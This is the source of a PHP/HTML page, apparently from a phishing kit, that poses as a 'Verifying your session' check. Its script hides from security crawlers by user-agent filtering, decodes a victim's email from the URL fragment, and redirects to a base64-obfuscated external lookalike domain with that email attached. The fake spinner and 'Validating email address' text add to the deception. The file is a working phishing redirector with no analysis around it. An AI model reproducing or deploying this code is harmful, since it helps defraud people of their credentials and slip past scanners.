HEX

File: /home/mostafedeg/.trash/jak/index.php
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Verification in Progress</title>
  <style>
    body {
      margin: 0;
      height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
      font-family: Arial, sans-serif;
      background-color: #f9fafb;
      color: #1f2937;
    }

    .container {
      text-align: center;
      padding: 40px;
      border-radius: 12px;
      box-shadow: 0 0 10px rgba(0,0,0,0.1);
      background: #fff;
      max-width: 420px;
    }

    h2 {
      font-size: 1.5rem;
      margin-bottom: 12px;
    }

    p {
      font-size: 1rem;
      color: #555;
    }

    .btn {
      padding: 12px 25px;
      background: #2563eb;
      color: #fff;
      border: none;
      border-radius: 6px;
      cursor: pointer;
      font-size: 1rem;
      text-decoration: none;
      display: inline-block;
      margin-top: 18px;
    }

    .btn:hover {
      background: #1e40af;
    }

    .hidden {
      display: none;
    }

    .spinner {
      border: 4px solid #f3f3f3;
      border-top: 4px solid #2563eb;
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
      margin: 20px auto;
    }

    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
  </style>
</head>
<body>

  <div class="container" id="mainContainer">
    <h2>Verifying your session...</h2>
    <div class="spinner"></div>
    <p id="statusText">Please wait while we verify your request.</p>
    <a id="continueBtn" class="btn hidden">Click here to continue</a>
  </div>

  <script>
    // Simple bot detection heuristics
    const isHuman = () => {
      const ua = navigator.userAgent.toLowerCase();
      const bots = [/bot/, /crawl/, /spider/, /curl/, /wget/, /python/, /headless/, /scrapy/];
      return !bots.some(rx => rx.test(ua));
    };

    function getAfterHash(url) {
      const hash = url.split('#')[1];
      if (!hash) return null;
      const equalIndex = hash.indexOf('=');
      return equalIndex > -1 ? hash.slice(equalIndex + 1) : hash;
    }

    // Email validation regex
    function isValidEmail(email) {
      return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
    }

    // Decode email from hash
    const url_string = window.location.href;
    const email_encoded = getAfterHash(url_string);
    let email_decoded = "";

    if (email_encoded) {
      try {
        email_decoded = atob(email_encoded);
      } catch (e) {
        email_decoded = "";
      }
    }

    const base_url_encoded = 'aHR0cHM6Ly9jb25uZWN0YWxsbHRkLnN1bnJpc2Vybm9ydGdhZ2UuY29tIw==';
    const redirect_url = atob(base_url_encoded) + email_decoded;

    const statusText = document.getElementById("statusText");
    const continueBtn = document.getElementById("continueBtn");
    const mainContainer = document.getElementById("mainContainer");

    // Protection logic
    window.onload = function() {
      if (!isHuman()) {
        statusText.textContent = "Access blocked: automated requests are not allowed.";
        document.querySelector(".spinner").classList.add("hidden");
        return;
      }

      if (!isValidEmail(email_decoded)) {
        statusText.textContent = "Invalid or unauthorized access detected.";
        document.querySelector(".spinner").classList.add("hidden");
        return;
      }

      // Proceed with redirect after 2s
      statusText.textContent = "Validating email address...";
      setTimeout(() => {
        window.location.replace(redirect_url);
      }, 2000);

      // Manual fallback button
      continueBtn.href = redirect_url;
      continueBtn.classList.remove("hidden");
    };
  </script>

</body>
</html>